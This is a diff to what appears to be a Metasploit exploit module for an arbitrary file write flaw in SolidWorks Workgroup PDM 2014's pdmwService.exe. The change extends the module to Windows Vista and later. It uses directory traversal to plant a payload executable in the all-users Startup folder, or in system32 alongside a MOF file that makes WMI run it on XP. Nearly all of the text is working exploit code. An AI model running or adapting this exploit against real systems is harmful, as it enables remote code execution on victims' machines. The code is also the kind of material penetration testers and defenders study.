@@ -18,16 +18,18 @@ def initialize(info = {})
1818 info ,
1919 'Name' => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write' ,
2020 'Description' => %q{
21- This module exploits an arbitrary file write vulnerability in SolidWorks
22- Workgroup PDM 2014 SP2 and prior.
21+ This module exploits a remote arbitrary file write vulnerability in
22+ SolidWorks Workgroup PDM 2014 SP2 and prior.
2323
24- Code execution can be achieved by first uploading the payload to the remote
25- machine as an exe file, and then upload another mof file, which enables
26- WMI (Management Instrumentation service) to execute the uploaded payload.
27- Please note that this module currently only works for Windows before Vista.
24+ For targets running Windows Vista or newer the payload is written to the
25+ startup folder for all users and executed upon next user logon.
26+
27+ For targets before Windows Vista code execution can be achieved by first
28+ uploading the payload as an exe file, and then upload another mof file,
29+ which schedules WMI to execute the uploaded payload.
2830
2931 This module has been tested successfully on SolidWorks Workgroup PDM
30- 2011 SP0.
32+ 2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN) .
3133 } ,
3234 'License' => MSF_LICENSE ,
3335 'Author' =>
@@ -46,15 +48,18 @@ def initialize(info = {})
4648 'Platform' => 'win' ,
4749 'Targets' =>
4850 [
49- # Tested on SolidWorks Workgroup PDM 2011 SP0 - Windows XP SP3 (EN)
50- [ 'SolidWorks Workgroup PDM <= 2014 SP2 on Windows (Before Vista)' , { } ]
51+ # Tested on:
52+ # - SolidWorks Workgroup PDM 2011 SP0 (Windows XP SP3 - EN)
53+ # - SolidWorks Workgroup PDM 2011 SP0 (Windows 7 SP1 - EN)
54+ [ 'Automatic' , { 'auto' => true } ] , # both
55+ [ 'SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)' , { } ] ,
56+ [ 'SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)' , { } ] ,
5157 ] ,
5258 'Privileged' => true ,
5359 'DisclosureDate' => 'Feb 22 2014' ,
5460 'DefaultTarget' => 0 ) )
5561
5662 register_options ( [
57- OptString . new ( 'WINDIR' , [ true , 'The Windows directory' , 'WINDOWS' ] ) ,
5863 OptInt . new ( 'DEPTH' , [ true , 'Traversal depth' , 10 ] ) ,
5964 Opt ::RPORT ( 30000 )
6065 ] , self . class )
@@ -85,7 +90,7 @@ def check
8590 vprint_status "#{ peer } - Received reply (#{ res . length } bytes)"
8691 Exploit ::CheckCode ::Detected
8792 else
88- vprint_error "#{ peer } - Unexpected reply (#{ res . length } bytes)"
93+ vprint_warning "#{ peer } - Unexpected reply (#{ res . length } bytes)"
8994 Exploit ::CheckCode ::Safe
9095 end
9196 end
@@ -123,20 +128,22 @@ def upload(fname, data)
123128 # Exploit
124129 #
125130 def exploit
126- windir = datastore [ 'WINDIR' ]
127- depth = '..\\' * datastore [ 'DEPTH' ]
128- # send exe
129- exe_name = "#{ rand_text_alpha ( rand ( 10 ) + 5 ) } .exe"
131+ depth = '..\\' * datastore [ 'DEPTH' ]
130132 exe = generate_payload_exe
131- print_status ( "#{ peer } - Sending EXE (#{ exe . length } bytes)" )
132- upload ( "#{ depth } #{ windir } \\ system32\\ #{ exe_name } " , exe )
133- # send mof
134- mof_name = "#{ rand_text_alpha ( rand ( 10 ) + 5 ) } .mof"
135- mof = generate_mof ( ::File . basename ( mof_name ) , ::File . basename ( exe_name ) )
136- print_status ( "#{ peer } - Sending MOF (#{ mof . length } bytes)" )
137- upload ( "#{ depth } #{ windir } \\ system32\\ wbem\\ mof\\ #{ mof_name } " , mof )
138- # clean up
133+ exe_name = "#{ rand_text_alpha ( rand ( 10 ) + 5 ) } .exe"
134+ if target . name =~ /Automatic/ or target . name =~ /Vista/
135+ print_status ( "#{ peer } - Writing EXE to startup for all users (#{ exe . length } bytes)" )
136+ upload ( "#{ depth } \\ Users\\ All Users\\ Microsoft\\ Windows\\ Start Menu\\ Programs\\ Startup\\ #{ exe_name } " , exe )
137+ end
138+ if target . name =~ /Automatic/ or target . name =~ /XP/
139+ print_status ( "#{ peer } - Sending EXE (#{ exe . length } bytes)" )
140+ upload ( "#{ depth } \\ WINDOWS\\ system32\\ #{ exe_name } " , exe )
141+ mof_name = "#{ rand_text_alpha ( rand ( 10 ) + 5 ) } .mof"
142+ mof = generate_mof ( ::File . basename ( mof_name ) , ::File . basename ( exe_name ) )
143+ print_status ( "#{ peer } - Sending MOF (#{ mof . length } bytes)" )
144+ upload ( "#{ depth } \\ WINDOWS\\ system32\\ wbem\\ mof\\ #{ mof_name } " , mof )
145+ register_file_for_cleanup ( "wbem\\ mof\\ good\\ #{ ::File . basename ( mof_name ) } " )
146+ end
139147 register_file_for_cleanup ( "#{ ::File . basename ( exe_name ) } " )
140- register_file_for_cleanup ( "wbem\\ mof\\ good\\ #{ ::File . basename ( mof_name ) } " )
141148 end
142149end
0 commit comments